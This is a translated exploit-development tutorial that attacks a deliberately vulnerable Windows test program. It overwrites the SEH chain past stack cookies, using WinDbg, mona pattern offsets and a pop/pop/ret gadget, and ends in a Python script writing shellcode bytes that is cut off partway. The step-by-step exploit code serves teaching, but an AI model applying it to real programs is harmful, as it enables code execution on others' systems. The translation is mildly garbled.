Exploit开发系列教程-Exploitme2 (Stack cookies & SEH)

P3nro5e · 2015/11/23 10:31node

from:expdev-kiuhnm.rhcloud.com/2015/05/26/…python

0x00 Exploitme2 (Stack cookies & SEH)


阅读完前面的文章(连接:drops.wooyun.org/tips/9948),咱们来到这里。shell

咱们将使用曾经使用过的代码:安全

#!c
#include <cstdio>
 
int main() {
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
    return 0;
}
复制代码

在VS 2013中,咱们将经过 Project→properties关闭DEP保护机制,并在Release下修改配置:cookie

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

确保咱们配置为ide

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Enable Security Check (/GS)

若是你仍然有着用于exploitme1.exe的文件c:/name.dat,并试图运行exploitme2.exe,那么程序将会崩溃而且无法弹出计算器。为何?函数

咱们来看对应的汇编代码:学习

int main() {
00101000 55                   push        ebp  
00101001 8B EC                mov         ebp,esp  
00101003 83 EC 24             sub         esp,24h  
00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
    char name[32];
    printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00       push        102100h  
00101015 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
    scanf("%s", name);
0010101B 8D 45 DC             lea         eax,[name]  
0010101E 50                   push        eax  
0010101F 68 24 21 10 00       push        102124h  
00101024 FF 15 94 20 10 00    call        dword ptr ds:[102094h]  
    printf("Hi, %s!\n", name);
0010102A 8D 45 DC             lea         eax,[name]  
0010102D 50                   push        eax  
0010102E 68 28 21 10 00       push        102128h  
00101033 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
    return 0;
}
00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
0010103C 83 C4 14             add         esp,14h  
0010103F 33 CD                xor         ecx,ebp  
00101041 33 C0                xor         eax,eax  
00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
00101048 8B E5                mov         esp,ebp  
0010104A 5D                   pop         ebp  
0010104B C3                   ret                   
复制代码

这是以前的代码(做对比):this

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
    char name[32];
    printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01       push        1392100h  
0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
    scanf("%s", name);
01391011 8D 45 E0             lea         eax,[name]  
01391014 50                   push        eax  
01391015 68 24 21 39 01       push        1392124h  
0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  
    printf("Hi, %s!\n", name);
01391020 8D 45 E0             lea         eax,[name]  
01391023 50                   push        eax  
01391024 68 28 21 39 01       push        1392128h  
01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
0139102F 83 C4 14             add         esp,14h  
    return 0;
01391032 33 C0                xor         eax,eax  
}
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret    
复制代码

让咱们忽略不感兴趣的部分.spa

以前的代码为:

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
.
.
.
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret
复制代码

如今的代码为:

int main() {
00101000 55                   push        ebp  
00101001 8B EC                mov         ebp,esp  
00101003 83 EC 24             sub         esp,24h  
00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
.
.
.
00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
0010103C 83 C4 14             add         esp,14h  
0010103F 33 CD                xor         ecx,ebp  
00101041 33 C0                xor         eax,eax  
00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
00101048 8B E5                mov         esp,ebp  
0010104A 5D                   pop         ebp  
0010104B C3                   ret    
复制代码

如今,在代码的prolog部分以后,栈应该会是这样的;

esp --> name[0..3]
          name[4..7]
          .
          .
          .
          name[28..31]
ebp-4 --> cookie
  ebp --> saved ebp
          ret eip
          .
          .
          .    
复制代码

如上作法为:在prolog部分设定cookie,在epilog部分检查cookie是否被改变。若是cookie被改变,那么在ret指令被执行以前,epilog部分会崩掉程序。注意cookie的位置:若是咱们溢出name,那么咱们可同时覆写cookie和ret eip。所以,在咱们能够控制执行流以前,执行Epilog部分会崩掉程序。

咱们看看prolog部分:

00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax 
复制代码

在cookie被存储于[ebp-4]以前,它首先从ds:[00103000h]被读取,接着与EBP进行异或操做。这样,cookie就取决于EBP了,这意味着已嵌套的调用会有不一样的cookie。固然,在初始化期间,cookie在ds:[00103000]中是随机的而且在运行时会被计算出来。 如今咱们理解了该问题,咱们能够回到代码的fread部分,该部分更易于(在某种程度上)进行利用:

#!c
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
复制代码

由于咱们没法经过ret eip控制EIP,因此咱们将试图经过覆写它来修改SEH链。对于咱们来讲,幸运的是,该链在栈上。若是你不记得SEH链的特性,那么请看看结构化异常处理(相关文章连接:drops.wooyun.org/tips/6814)的文章吧。

使用WinDbg打开exploitme2.exe,用以下命令在main上下断点:

bp exploitme2!main
复制代码

接着经过按下F5(go)来让程序运行。

当执行中止时(你也应该看看源代码),在栈和SEH链上了解下:

0:000> dd esp
0038fb20  011814d9 00000001 00625088 00615710
0038fb30  bd0c3ff1 00000000 00000000 7efde000
0038fb40  00000000 0038fb30 00000001 0038fb98
0038fb50  01181969 bc2ce695 00000000 0038fb68
0038fb60  75dd338a 7efde000 0038fba8 77c09f72
0038fb70  7efde000 77ebad68 00000000 00000000
0038fb80  7efde000 00000000 00000000 00000000
0038fb90  0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
  CRT scope  0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
                func:   exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)   
复制代码

记住SEH节点是8字节长的,而且会有用该形式展现:

<ptr to next SEH node in list>
<ptr to handler>   
复制代码

咱们能够看到第一个节点在地址0x38fb4c上(即esp+0x2c)而且存在

0038fb98         <-- next SEH node
01181969         <-- handler (exploitme2!_except_handler4)
复制代码

下一个以及最后一个SEH节点在地址0x38fb98上(即esp+0x78)而且存在

ffffffff         <-- next SEH node (none - this is the last node)
77c471f5         <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)
复制代码

在调用thefread()函数以前,将100个’a’字符放入c:/name.dat并步过代码(F10)。咱们再次检测SEH链:

0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161
复制代码

如咱们可观察到的,咱们已经试着覆写了SEH链了。如今让程序运行(F5)。

WinDbg将会打印出以下内容:

STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc              int     3
复制代码

这可能意味着main()中的epilog部分已经检测到cookie被修改了,而且阻止了咱们的进一步操做,可是,实际上,fread调用以后,该安全违例是因为一些与分配操做相关的边界检查致使的。

#!c
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';     <-------------------------
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
复制代码

边界检查:

    name[bytes] = '\0';
008B107A 83 FE 20             cmp         esi,20h           ; esi = bytes
008B107D 73 30                jae         main+0AFh (08B10AFh)  
008B107F 57                   push        edi  
008B1080 C6 44 35 DC 00       mov         byte ptr name[esi],0  
.
.
.
008B10AF E8 48 01 00 00       call        __report_rangecheckfailure (08B11FCh)
复制代码

既然这样,因为边界检查,epilog部分历来没有被执行过,可是概念是相同的。咱们覆写SEH链,可是并无生成异常,所以,SEH链并无被使用过。在进行边界检查以前,咱们须要生成异常。(不然main()的epilog部分会被执行)。

让咱们进行一次实验:咱们来观察发生异常是否会调用在SEH链上的handler。修改代码以下:

#!c
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = bytes / 0; // '\0';    !!! divide by 0 !!!
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
复制代码

注意咱们在fread函数前已经添加了除数为0的状况。这应该会生成异常并调用SEH链的第一个handler。

编译代码,用WinDbg从新打开它。这会发生什么:

(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
exploitme2!main+0x7a:
012f107a f7f9            idiv    eax,ecx
复制代码

正如咱们能够观察到的,在经过程序能够看到已生成的异常前,WinDbg就已经捕获到异常了。再次按下F5(go)将异常传给程序,这是咱们观察到的:

(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
61616161 ??              ???
复制代码

咱们能够观察到EIP=0x61616161.惟一可解释的是handler在已修改的SEH链中被调用!

如今在进行边界检查前,咱们必须找到生成异常的方法(或者经过main()函数的epilog部分检查cookie)。首先,咱们将移除异常,同时稍微修改下咱们的代码:

#!c
#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    int pos = 0;
    while (pos < bytes) {
        int len = bytes - pos > 200 ? 200 : bytes - pos;
        fread(name + pos, 1, len, f);
        pos += len;
    }
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}
复制代码

咱们已经决定从200字节的块中读取文件,由于若是被请求读取太多字节,那么调用fread() 可能会失败。这样,咱们能够有一个具备较长字节的文件。

栈是有限的,所以若是咱们不断对其进行写入操做直到栈末端(最高地址),那么将会发生一次访问违例。咱们来运行Python的IDLE并试图使用1000个”a”字符:

#!python
with open('c:\\name.dat', 'wb') as f:
    f.write('a'*1000)
复制代码

使用WinDbg运行exploitme2.exe。容易检验出1000个”a”字符是不够的。咱们来试试使用2000个”a”字符:

#!python
with open('c:\\name.dat', 'wb') as f:
    f.write('a'*2000)
复制代码

一样没有达到咱们的目的。最后,使用10000个”a”字符,咱们获得:

(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
复制代码

在按下F5(go)以后,咱们获得:

(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
61616161 ??              ???
复制代码

这是咱们想要的:EIP=0x61616161。咱们知道咱们的”a”字符已经覆写了SEH节点的handler地址,但肯定是这4个”a”字符吗?换句话说,咱们应该把重定向执行流的地址放入到文件中的偏移是多少呢? 使用特定的模板而不是使用单一的”a”字符不失为一种简单的方法。这个模板已设计好了,所以给出了模板的4个连续字节,咱们能够当即告诉该模板的偏移这四个字节被定位了。 利用mona(相关文章连接:drops.wooyun.org/tips/6814)使用以下命令能够帮助咱们:

0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file    

[+] This mona.py action took 0:00:00
复制代码

使用一段Python代码,咱们能够将模板写到c:/name.dat

#!python
with open('c:\\name.dat', 'wb') as f:
    pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
    f.write(pattern)  
复制代码

注意,我已经截下了一段模板,由于它过长而没有在这里展现出来。

咱们用WinDbg重启exploitme2.exe,第二次按下F5,获得:

(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
64413963 ??              ???
复制代码

咱们能够观察到 EIP = 0x64413963. 让咱们看看被定位的模板偏移。记住英特尔CPU是小端模式的,所以0x64413963 = “\x63\x39\x41\x64” = “c9Ad”。让咱们使用mona来判断该偏移:

0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
 - Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (uppercase)  
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (lowercase)      

[+] This mona.py action took 0:00:00.172000
复制代码

偏移是88。用以下Python脚原本检验那正确的偏移:

#!python
with open('c:\\name.dat', 'wb') as f:
    handler = 'bbbb'
    f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
复制代码

此次WinDbg输出以下:

(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???
复制代码

由于0x62626262=”bbbb”.这确实是咱们想要的。如今咱们知道在文件中放入咱们想要的地址在哪里了,咱们须要判断使用的是哪一个地址。在WinDbg中点击View→Memory  并在”Virtual:[email protected]ESP=0x2af490,同时,[email protected]+6d4上。

让咱们重启exploitme2.exe来观察6d4是不是一个常数。在Memory 窗口中的”Virtual:[email protected][email protected]咱们也能够观察到ESP老是不一样的,即便偏移6d4并不改变。

所以,在4个”b”字符以后,咱们能够将咱们的shellcode放置在正确的位置,而且用以下一段代码中的地址替换那些”b”字符:

ADD   ESP, 6d8
JMP   ESP
复制代码

注意咱们已经使用了6d8,即6d4+4来跳过”b”字符并转移到咱们将放置在替代”c”字符的shellcode上。固然,ADD ESP, 6e0或相似的代码也将会被执行。不幸的是,找到这类代码并不容易,但这是一种更简单的方法。

重启exploitme2.exe,第二次按下F5并观察栈:

0:000> dd esp
002df45c  77c2b499 002df544 002dfb2c 002df594
002df46c  002df518 002dfa84 77c2b4ad 002dfb2c
002df47c  002df52c 77c2b46b 002df544 002dfb2c
002df48c  002df594 002df518 62626262 00000000
002df49c  002df544 002dfb2c 77c2b40e 002df544
002df4ac  002dfb2c 002df594 002df518 62626262
002df4bc  002e1000 002df544 00636948 00000000
002df4cc  00000000 00000000 00000000 00000000
复制代码

在esp+8上的dword值看起来挺有趣的。 若是咱们观察那个地址咱们能够了解到以下内容:

0:000> db poi(esp+8)
002dfb2c  61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63  aaaabbbbcccccccc
002dfb3c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb4c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb5c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb6c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb7c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb8c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb9c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
复制代码

0x2dfb2c指向处理”b”字符的4个”a”字符。要记住的是”bbbb”覆写SEH节点的”handler”域,所以,0x2dfb2c必须指向相同SEH节点的“下一个SEH 节点”域。咱们来检验该过程:

0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161
复制代码

看起来彷佛覆写了第三个SEH节点:

0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x62626262     _EXCEPTION_DISPOSITION  +62626262
复制代码

首先,确保esp+8总存在准确的重启进程的地址,再试一次。在检验完以后,咱们须要找到一些指令如:

POP   reg32
POP   reg32
RET
复制代码

思路是:被执行时,放入某段代码的地址来替代4个”b”字符,该代码将会对ESP进行加8操做(2条pop指令),接着提取经过ESP指向的值而后转移到那个地址。这确实是咱们想要的,即,它将会转移到咱们的”b”字符前面4个”a”字符右端。为了跳过”b”字符并转移到咱们的shellcode上(咱们的”c”字符),咱们须要在”b”字符的前面放入一个jmp指令。

JMP操做码的简写是:

EB XX
复制代码

XX的位置是一个被标记的字节。为了方便,咱们添加一个标签:

here:
  EB XX
复制代码

那操做码转移到here+2+XX的位置。例如,

EB 00
there:
复制代码

转移以后到了右边,即,到了there部分。

这是咱们想要的:

90是NOP指令的操做码(no operation-不进行任何操做),可是由于那两个字节将会被跳过,因此咱们可使用任意指令的操做码。

如今让咱们在kernel32.dll中找到 pop/pop/ret的地址:

0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll    

---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
    - Number of pointers of type 'pop esi # pop ebx # retn' : 2
    - Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
    - Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
    - Number of pointers of type 'pop edi # pop esi # retn' : 2
    - Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
    - Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
    - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
    - Number of pointers of type 'pop esi # pop ebp # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
    - Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
    - Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
    - Number of pointers of type 'pop eax # pop ebp # retn' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
    - Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
    - Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
    - Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
    - Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
    - Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
    - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
    - Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
    - Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
    - Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
    - Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
    - Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
    - Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
    - Number of pointers of type 'pop edx # pop eax # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
    - Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
    - Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
    - Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 4
    - Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
    - Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
0x75dd4e18 |   0x75dd4e18 (b+0x00014e18)  : pop edi # pop ebp # retn 24h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 |   0x75dfd916 (b+0x0003d916)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c |   0x75dd4f7c (b+0x00014f7c)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 |   0x75ddf840 (b+0x0001f840)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca |   0x75dfc1ca (b+0x0003c1ca)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 |   0x75e7a327 (b+0x000ba327)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 |   0x75de1267 (b+0x00021267)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 |   0x75defda1 (b+0x0002fda1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c |   0x75dfb33c (b+0x0003b33c)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a |   0x75dfbf8a (b+0x0003bf8a)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 |   0x75dfda42 (b+0x0003da42)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 |   0x75e45960 (b+0x00085960)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 |   0x75e47b36 (b+0x00087b36)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f |   0x75e4a53f (b+0x0008a53f)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 |   0x75e5e294 (b+0x0009e294)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 |   0x75e65641 (b+0x000a5641)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 |   0x75e6a121 (b+0x000aa121)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 |   0x75e77bf1 (b+0x000b7bf1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d |   0x75e7930d (b+0x000b930d)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
    Found a total of 396 pointers    

[+] This mona.py action took 0:00:12.400000 
复制代码

咱们选择第二个地址

0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn   
复制代码

用来建立文件name.dat的Python代码以下:

#!python
with open('c:\\name.dat', 'wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x5d\xd7\xdf\x75'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
